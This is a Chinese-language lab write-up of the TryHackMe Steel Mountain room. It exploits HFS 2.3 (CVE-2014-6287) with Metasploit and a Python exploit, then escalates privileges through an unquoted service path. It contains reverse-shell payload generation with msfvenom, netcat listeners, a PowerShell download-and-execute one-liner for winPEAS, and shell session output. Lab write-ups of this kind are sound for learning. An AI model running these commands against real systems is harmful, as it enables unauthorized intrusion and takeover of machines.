
Try Hack Me - Steel Mountain
0x0
Room:https://tryhackme.com/room/steelmountain
这个房间可以说是我在 TryHackMe 上碰到的第一个需要用很多自己想法才能过的房间,其实别人也有很多题解的,但是每个人有不同的解法嘛,并且我觉得我把这个做出来之后感觉很有意思,也学了很多。
0x1
刚开始就来了一个看不懂的题目,在这里卡了很久。
Who is the employee of the month?
去搜了一下知道是那个替罪羊,但是我就不知道问题是怎么和这个题目联系上的,直到访问了这个服务器的 IP 之后才发现,hhhh。

0x2
就常规扫端口呗,nmap 一把梭。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
nmap -sV 10.10.208.117 -T4
# PORTSTATE SERVICE VERSION
# 80/tcp open http Microsoft IIS httpd 8.5
# 135/tcp open msrpc Microsoft Windows RPC
# 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
# 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
# 3389/tcp open ms-wbt-server Microsoft Terminal Services
# 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
# 8080/tcp open http HttpFileServer httpd 2.3
# 49152/tcp open msrpc Microsoft Windows RPC
# 49153/tcp open msrpc Microsoft Windows RPC
# 49154/tcp open msrpc Microsoft Windows RPC
# 49155/tcp open msrpc Microsoft Windows RPC
# 49156/tcp open msrpc Microsoft Windows RPC
# 49163/tcp open msrpc Microsoft Windows RPC
# Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
题目问有另外一个端口跑着 HTTP 服务,试着访问一下 8080 看看。
1
2
3
4
5
http://10.10.106.44:8080/
HttpFileServer 2.3
Server time: 7/4/2025 8:42:11 AM
Server uptime: 00:12:54
哟,这不是 HFS 吗,是 2.3 版本,应该是有洞的。
1
2
3
4
5
6
7
8
9
10
11
12
$ searchsploit hfs 2.3
---------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------- ---------------------------------
HFS (HTTP File Server) 2.3.x - Remote Command Execu | windows/remote/49584.py
HFS Http File Server 2.3m Build 300 - Buffer Overfl | multiple/remote/48569.py
Rejetto HTTP File Server (HFS) - Remote Command Exe | windows/remote/34926.rb
Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary | multiple/remote/30850.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Comma | windows/remote/34668.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Comma | windows/remote/39161.py
Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Rem | windows/webapps/34852.txt
---------------------------------------------------- ---------------------------------
题目问我们 CVE 编号是什么,就去 exploit-db 上查查呗。然后看到了这个:https://www.exploit-db.com/exploits/39161,就是这个没错了。
最后一问是让我们去用 msf 利用漏洞去拿 shell,拿到之后 flag 也就在那几个位置呗,轻松秒杀。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
search 2014-6287
# exploit/windows/http/rejetto_hfs_exec
msf6 exploit(windows/http/rejetto_hfs_exec) > run
[*] Started reverse TCP handler on 10.11.141.2:5555
[*] Using URL: http://10.11.141.2:8080/gv4t5KWp
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /gv4t5KWp
[*] Sending stage (177734 bytes) to 10.10.208.117
[!] Tried to delete %TEMP%\cKRtdaA.vbs, unknown result
[*] Meterpreter session 1 opened (10.11.141.2:5555 -> 10.10.208.117:49245) at 2025-07-04 13:09:50 -0400
[*] Server stopped.
meterpreter > cd 'C:\Users\bill\Desktop'
meterpreter > ls
Listing: C:\Users\bill\Desktop
==============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 282 fil 2019-09-27 07:07:07 -0400 desktop.ini
100666/rw-rw-rw- 70 fil 2019-09-27 08:42:38 -0400 user.txt
meterpreter > cat user.txt
b04763b6fcf51fcd7c13abc7db4fd365
0x3
标题写的是提权,这里其实是用 Windows 的服务的缺陷。
在 Windows 系统中,如果一个服务(Service)的可执行文件路径沒有用双引号完全括起來,且路径中包含空格,就会存在漏洞。
举例来说,如果服务路径是 C:\Program Files\My Service\service.exe
但没有加引号,系统在启动时可能会误以为它要执行的是 C:\Program.exe
或 C:\Program Files\My.exe
。
攻击者可以利用这个缺陷,在这些被系统「误读」的位置提前放置一个恶意的同名可执行文件。由于服务通常以高权限运行(如 SYSTEM),当服务下次启动时,就会先执行攻击者的恶意程序,从而实现提权。
这里题目给我们提供了一个叫 PowerUp 的工具,去查看系统里面的可利用点。
1
2
3
4
5
6
meterpreter > upload ~/Desktop/tq/PowerUp.ps1
meterpreter > powershell_shell
PS > whoami
steelmountain\bill
PS > . .\PowerUp.ps1
PS > Invoke-AllChecks
然后 . .\xxx
的 .
是 PowerShell 的一个操作符,他的作用是将一个脚本的内容载入并执行到当前 PowerShell 会话的「作用域 (Scope)」中。TBH 我是第一次见到这种用法,也算是涨姿势了。然后 Invoke-AllChecks
是这个脚本的一个函数,后面单独执行这条函数,可以这样来理解。
有一大堆回显,题目告诉我们只要关注 CanRestart
这个参数,然后看看哪个服务的路径没有用引号包裹其他,然后我就找到了这个。
1
2
3
4
5
6
7
8
ServiceName : AdvancedSystemCareService9
Path : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HijackPath>
CanRestart : True
Name : AdvancedSystemCareService9
Check : Unquoted Service Paths
这里就照搬原话吧,意思就是如果 CanRestart
是 True
的话,并且目录可写,我们就可以我们自己的马去替换掉这个服务,然后重启,就上线了。
The CanRestart option being true, allows us to restart a service on the system, the directory to the application is also write-able. This means we can replace the legitimate application with our malicious one, restart the service, which will run our infected program!
1
2
# 生成反弹 Shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.141.2 LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe
然后就是 upload,放文件,然后就不知道怎么办了。
1
meterpreter > upload ~/Desktop/tq/Advanced.exe
其实在这里卡了很久,因为不知道怎么重启这个服务,后面搜了一下,其实这个在房间最后一部分有写的。
1
2
sc stop AdvancedSystemCareService9
sc start AdvancedSystemCareService9
顺利拿到 flag
1
2
3
4
5
6
7
8
9
└─$ nc -lvnp 4443
listening on [any] 4443 ...
connect to [10.11.141.2] from (UNKNOWN) [10.10.106.44] 49285
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd c:\Users
c:\Users\Administrator\Desktop>type root.txt
type root.txt
9af5f314f57607c00fd09803a587db80
0x4
第四部分呢,题目的用意就是让我们不要依赖 MSF,去下别人的 EXP 来利用,锻炼这个能力,说实话这个比第三问简单很多。
这里用的是 HFS 的洞,我还经常用这个来建文件共享来着呢,不过一般在内网用,这个作者做的新版 HFS 又不好用。
EXP 地址:https://www.exploit-db.com/exploits/39161
注意脚本要用 python2 执行,把里面的 ip_addr
和 local_port
改成你自己的,然后要起一个 HTTP 服务器,这里我用的 Python。记得要把下载好的 netcat.exe
改名成 nc.exe
。
1
2
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
脚本要执行两次,第一次是下 nc.exe
,第二次才是反弹 Shell,同样记得本地监听一下反弹的端口。
1
2
3
4
5
6
7
8
└─$ nc -lvnp 5566
listening on [any] 5566 ...
connect to [10.11.141.2] from (UNKNOWN) [10.10.106.44] 49323
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>whoami
whoami
steelmountain\bill
这里题目就要我们用一个叫 winPEAS
的工具来收集系统的信息,用来判断系统的可注入点。我依然用之前起的 Python HTTP 服务端用来传文件。
1
powershell -c "Invoke-WebRequest -Uri http://10.11.141.2/winPEASx64.exe -OutFile C:\Users\Public\winPEASx64.exe; C:\Users\Public\winPEASx64.exe"

这个工具能显示的非常非常多,看不过来了都。他意思是让我们利用里面发现的注入点,我懒懒就没有去研究了。
后面问了一个如何用 PowerShell 获取服务名字,这不是基操吗?
1
powershell -c "Get-Service"
0xff
做完这个 Room,感觉收获很大,本来这个原文是做的小抄的,但是一下记了挺多东西的,想了想不如写一个 Writeup 了,就有了这篇文章。